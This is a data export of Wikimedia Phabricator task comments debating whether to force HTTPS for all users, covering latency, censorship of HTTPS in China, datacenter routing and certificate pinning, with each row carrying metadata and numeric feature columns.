+450095,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Can we start to force HTTPS for all users from the US soon? They should have low latency impact, since they are close to the datacenters. Do we have a timeline now? One thing is that once we redirect to HTTPS for US users, Google will update the indexed Wikipedia links to HTTPS as well.",,,1430194440,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+445302,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I see. Just for your reference, the English Wikipedia community had a discussion (https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(proposals)/Archive_120#Should_Wikipedia_use_HTTPS_by_default_for_all_readers.3F) about this and while many points were made on both sides, the conclusion from that community was that this issue is to be decided by the WMF/developers. So good luck with your analysis, and I hope that any possible issues can be resolved soon so that we can make the switch in the near future. Thanks.",,,1429282118,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,85,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+445110,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"With the completion of the scaling work, whether and when we flip the switch to force HTTPS for more (or all) wikis is mostly an analysis and decision-making issue now rather than a technical one.  I believe we're currently still trying to gather some insightful/useful data on user impact (in terms of latency, mostly) to inform those decisions.  Of course there's always a risk that the data could lead us back to something like ""more software changes are needed before the tradeoffs are acceptable to turn this on globally.""",,,1429239920,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,85,True,1,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,0
+445109,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),I see that the HTTPS infrastructure is now able to serve HTTPS-by-default (https://www.mediawiki.org/w/index.php?title=Wikimedia_Engineering%2F2014-15_Goals&diff=1535407&oldid=1519260). That's great! Any updates on the actual implementation? Thanks.,,,1429239521,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,85,True,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+434420,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),That's great to hear! Thanks.,,,1427511638,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,82,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+432461,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Great! https://en.m.wikipedia.org now works in China. According to [[https://zh.wikipedia.org/wiki/Wikipedia_talk:%E7%8B%80%E6%B3%81%E5%9B%9E%E5%A0%B1 |the report on zhwiki]] and tests on greatfire.org, only http://zh.wikisource.org/, http://zh.wikinews.org/, and http://ug.wikipedia.org/ are still blocked, which I think are blocked based on URL rather than IP. All other Wikimedia sites, (http and https) are not blocked now. Thank you!",,,1427302140,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+432409,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"The switch of CN to ulsfo was done in https://gerrit.wikimedia.org/r/#/c/199621/ about half an hour ago.  Our TTLs are considerably shorter than that, so the change should already be in effect in cases where DNS caching isn't broken.  We'll see how it goes :)",,,1427298023,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+432381,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Well, CN belongs in ulsfo anyway, geographically speaking. It stayed in eqiad during the ulsfo rollout on purpose, in order to not poke the (firewall) beast :)
+
+We can move CN to ulsfo now. The only real risk is that desktop HTTPS being unblocked is a mistake and they'll realize it as soon as we shuffle things around :)",,,1427295705,,PHID-USER-ktuojnvco4fpzmyhzyaf,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+432377,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"We can try in case it's a lingering mistake, but if it's intentional I'm sure they'll just adapt on their side.",,,1427295504,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+432099,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1147410, @Tony_Tan_98 wrote:
+> Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: https://en.greatfire.org/https/en.wikipedia.org
+> https://en.greatfire.org/https/en.m.wikipedia.org
+
+It seems mobile-lb.eqiad is blocked in China, but esams and ulsfo are not. How about mapping Chinese users to one of these two clusters?
+https://en.greatfire.org/https/mobile-lb.eqiad.wikimedia.org
+https://en.greatfire.org/https/mobile-lb.ulsfo.wikimedia.org
+https://en.greatfire.org/https/mobile-lb.esams.wikimedia.org",,,1427254862,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+432098,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1147410, @Tony_Tan_98 wrote:
+> Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: https://en.greatfire.org/https/en.wikipedia.org
+> https://en.greatfire.org/https/en.m.wikipedia.org
+
+It seems mobile-lb.eqiad is blocked in China, but esams and ulsfo are not. How about map Chinese users to one of these two clusters?
+https://en.greatfire.org/https/mobile-lb.eqiad.wikimedia.org
+https://en.greatfire.org/https/mobile-lb.ulsfo.wikimedia.org
+https://en.greatfire.org/https/mobile-lb.esams.wikimedia.org",,,1427254838,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,0,1,0,1
+432060,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: https://en.greatfire.org/https/en.wikipedia.org
+https://en.greatfire.org/https/en.m.wikipedia.org",,,1427246532,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,82,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+432058,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: https://en.greatfire.org/https/en.wikipedia.org",,,1427246469,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,82,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+432057,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted.",,,1427246420,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,82,True,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
+212340,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #26)
+> (In reply to comment #24)
+> > An idea for dealing with China and other cases where HTTPS is blocked - could
+> > there be an 'http://insecure.wikipedia.org'? The inverse of the situation we
+> > had with 'https://secure.wikipedia.org'. At least the domain name advertises
+> > the problem to the user.
+> > 
+> > This is far less slick than a geolocated redirect, but in situations where
+> > HTTPS is blocked, I don't see any way to preserve usability and security at
+> > the
+> > same time. 
+> > 
+> > As far as I know, if HTTPS is blocked, we can't redirect them to HTTP,
+> > because
+> > they won't even reach our server. We could only 'upgrade', by redirecting
+> > from
+> > HTTP to HTTPS. But by then it's too late; the article they've requested was
+> > captured by intermediaries.
+> > 
+> > Maybe with 'insecure.wikipedia.org', savvy users in places like China would
+> > learn the trick, or use browser extensions to fix links. Presumably it would
+> > be
+> > the 'HTTP Everywhere' extension.
+> 
+> I somewhat like this concept for the advertising part too. We want to make
+> sure
+> that those who are unable to use https (ESPECIALLY if that's because of
+> government interference like china) are able to use the site but we also
+> should
+> (in my mind) make sure that they KNOW they are unable to use it like normal
+> and
+> that their use is less secure because those users are often the catalyst for
+> change.
+> 
+> If we had more time I'd say we should strive for a geolocated test in Hong
+> Kong
+> during Wikimania though I imagine even the suggestion of that makes ops
+> shudder
+> :).
+
+Yes, please let's not consider this. We had do so nasty apache stuff to make that work and I'm glad we no longer do it.",,,1375300839,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-4,True,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+212338,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #24)
+> An idea for dealing with China and other cases where HTTPS is blocked - could
+> there be an 'http://insecure.wikipedia.org'? The inverse of the situation we
+> had with 'https://secure.wikipedia.org'. At least the domain name advertises
+> the problem to the user.
+> 
+> This is far less slick than a geolocated redirect, but in situations where
+> HTTPS is blocked, I don't see any way to preserve usability and security at
+> the
+> same time. 
+> 
+> As far as I know, if HTTPS is blocked, we can't redirect them to HTTP,
+> because
+> they won't even reach our server. We could only 'upgrade', by redirecting
+> from
+> HTTP to HTTPS. But by then it's too late; the article they've requested was
+> captured by intermediaries.
+> 
+> Maybe with 'insecure.wikipedia.org', savvy users in places like China would
+> learn the trick, or use browser extensions to fix links. Presumably it would
+> be
+> the 'HTTP Everywhere' extension.
+
+I somewhat like this concept for the advertising part too. We want to make sure that those who are unable to use https (ESPECIALLY if that's because of government interference like china) are able to use the site but we also should (in my mind) make sure that they KNOW they are unable to use it like normal and that their use is less secure because those users are often the catalyst for change.
+
+If we had more time I'd say we should strive for a geolocated test in Hong Kong during Wikimania though I imagine even the suggestion of that makes ops shudder :).",,,1375297878,,PHID-USER-f6l3bchko2ogbi4poj24,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-4,True,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+212335,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #24)
+> An idea for dealing with China and other cases where HTTPS is blocked - could
+> there be an 'http://insecure.wikipedia.org'? The inverse of the situation we
+> had with 'https://secure.wikipedia.org'. At least the domain name advertises
+> the problem to the user.
+
+It was wikiMedia, and no, please let's not do that again.
+
+(In reply to comment #24)
+> Maybe with 'insecure.wikipedia.org', savvy users in places like China would
+> learn the trick, or use browser extensions to fix links. Presumably it would
+> be the 'HTTP Everywhere' extension.
+
+That wouldn't work.",,,1375297673,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-4,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+212332,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"**neilk** wrote:
+
+An idea for dealing with China and other cases where HTTPS is blocked - could there be an 'http://insecure.wikipedia.org'? The inverse of the situation we had with 'https://secure.wikipedia.org'. At least the domain name advertises the problem to the user.
+
+This is far less slick than a geolocated redirect, but in situations where HTTPS is blocked, I don't see any way to preserve usability and security at the same time. 
+
+As far as I know, if HTTPS is blocked, we can't redirect them to HTTP, because they won't even reach our server. We could only 'upgrade', by redirecting from HTTP to HTTPS. But by then it's too late; the article they've requested was captured by intermediaries.
+
+Maybe with 'insecure.wikipedia.org', savvy users in places like China would learn the trick, or use browser extensions to fix links. Presumably it would be the 'HTTP Everywhere' extension.",,,1375297298,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-4,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0
+212328,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #22)
+> Interesting! I didn't know this RFC existed.
+
+That's probably because its not an RFC (yet) :P",,,1373436625,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+212322,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),Interesting! I didn't know this RFC existed. That's pretty cool. Maybe I'll add it to my Extension:SecureSessions (which contains all the session security stuff MW doesn't do :P).,,,1373435144,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+212316,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #20)
+> Why would or should we be using certificate pinning? Are we really going to
+> require all users to explicitly install the Wikimedia certificate on their
+> browsers?
+
+Of course not.  It's done automatically, such as through a HTTP header.  See https://tools.ietf.org/html/draft-ietf-websec-key-pinning-07 .  This is already implemented at least in Chrome (https://code.google.com/p/chromium/issues/detail?id=78369).  There's also a competing standard, http://tack.io/",,,1373430709,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+212312,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #19)
+> (In reply to comment #18)
+> > It's possible to detect certificate spoofing if we're pinning
+> > our certificates (which we should be doing).
+> 
+> I agree we *should*.  Are we?
+
+Why would or should we be using certificate pinning? Are we really going to require all users to explicitly install the Wikimedia certificate on their browsers?",,,1373416433,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+212308,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #18)
+> It's possible to detect certificate spoofing if we're pinning
+> our certificates (which we should be doing).
+
+I agree we *should*.  Are we?",,,1373415099,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+212300,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I don't have very strong worries about certificate spoofing except in very targeted uses. It's possible to detect certificate spoofing if we're pinning our certificates (which we should be doing). If a vendor is caught allowing a government to spoof using their authority, they'll get yanked pretty quickly from all browsers.
+
+The targeted cases /are/ particularly worrying, of course, but it's not something we can really control, and that person is likely already screwed.",,,1373405732,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-8,True,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+212291,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I like to think that if we did enable it, China would mitm the connection and either serve it plaintext inside or spoof the cert. I can't imagine they would want to cut off their users. But I'm not sure if I'm up for playing chicken with them at the moment.
+
+Also, one argument I haven't seen on this bug I keep meaning to add is that HTTPS is not just about privacy (even over HTTPS, it's pretty easy to do traffic analysis and guess what article a user is viewing), it's also about integrity. When a user isn't using HTTPS, anyone between the user and us can make the site say or not say whatever they like. For that reason, I think we owe it to our anons to try and aim for everyone using HTTPS, even if it's in a distant future.",,,1373337854,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-8,True,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+212284,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Since China has already blocked HTTPS access to Wikipedia, forcing all users to use HTTPS would be equivalent to cutting off the site entirely for everyone in mainland China. I don't support this -- I don't think education should be ""all or nothing"". Wikipedia can do plenty of good in China even with the ""three T's"" filtered out. 
+
+Maybe I could support a geolocated redirect, or a redirect implemented in JavaScript which detects whether HTTPS works before redirecting.",,,1373336152,,PHID-USER-k6tmz5ylx4rzfl3bitse,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-8,True,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+212276,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #13)
+> Other bugs which might be resolved by a global move to https: 
+> #48572 #47276 #37790 #35760 #34670 #31325 #29898
+
+bug 48572, bug 47276, bug 37790, bug 35760, bug 34670, bug 31325, bug 29898.",,,1371540537,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-11,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1
+212267,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),Edit:  s/verdict/herdict/ . Also greatfire and similar country-specific trackers.,,,1371526173,,PHID-USER-fgzcdbj3je3ksnhufo47,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+212259,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #8)
+
+Thanks, Ryan.  I think #1,2,3 in your list are worth pushing for.  Call that ""A"" and #4 & 5 ""B"".    
+
+Implementing A seems more straightforward to plan for, and would cover all logged-in users and many anons.  It could be combined with a message to http-only readers (possibly a low-frequency message only seen every Nth page view).
+
+Implementing B seems to call for experiment and discussion, and learning from other global sites that have thought about this.   
+
+> Some countries completely block HTTPS, but allow HTTP. I dislike
+> eavedropping by governments, but I also dislike not providing access to
+> people too.
+
+We might also crosscheck with projects such as verdict that maintain databases over time of what is blocked where; and monitor traffic changes to notice any drops in access.
+
+(In reply to comment #12)
+An on-wiki discussion would be helpful.  Hopefully it would distinguish between implementing A and B.  B involves bikeshed decisions that could prolong any discussion.
+
+Other bugs which might be resolved by a global move to https: 
+#48572 #47276 #37790 #35760 #34670 #31325 #29898",,,1371523704,,PHID-USER-fgzcdbj3je3ksnhufo47,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+212251,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #7)
+> MZM: Where are users saying https doesn't work for them?  I don't see any
+> other unaddressed concerns about implementing this bug or the related bugs.  
+
+As Ryan says in comment 8, some people seem unable to support HTTPS for whatever reason. This matches my experience switching daily-article-l (<https://lists.wikimedia.org/mailman/listinfo/daily-article-l>) to use HTTPS links; out of 30,000-ish subscribers, a handful wrote in to say that they couldn't access the site any longer. Wikimedia wikis are much too large to not hit the law of large numbers: some percentage of our users will be unable to access the site over HTTPS. I don't think we currently know what percentage that is.
+
+(In reply to comment #5)
+> In order to get this bug moving forward, it would be good to have an
+> associated wiki page or list here on Bugzilla of what needs to be done first.
+> This bug's current ""see also""s seem like a good start toward this.
+
+QFT.
+
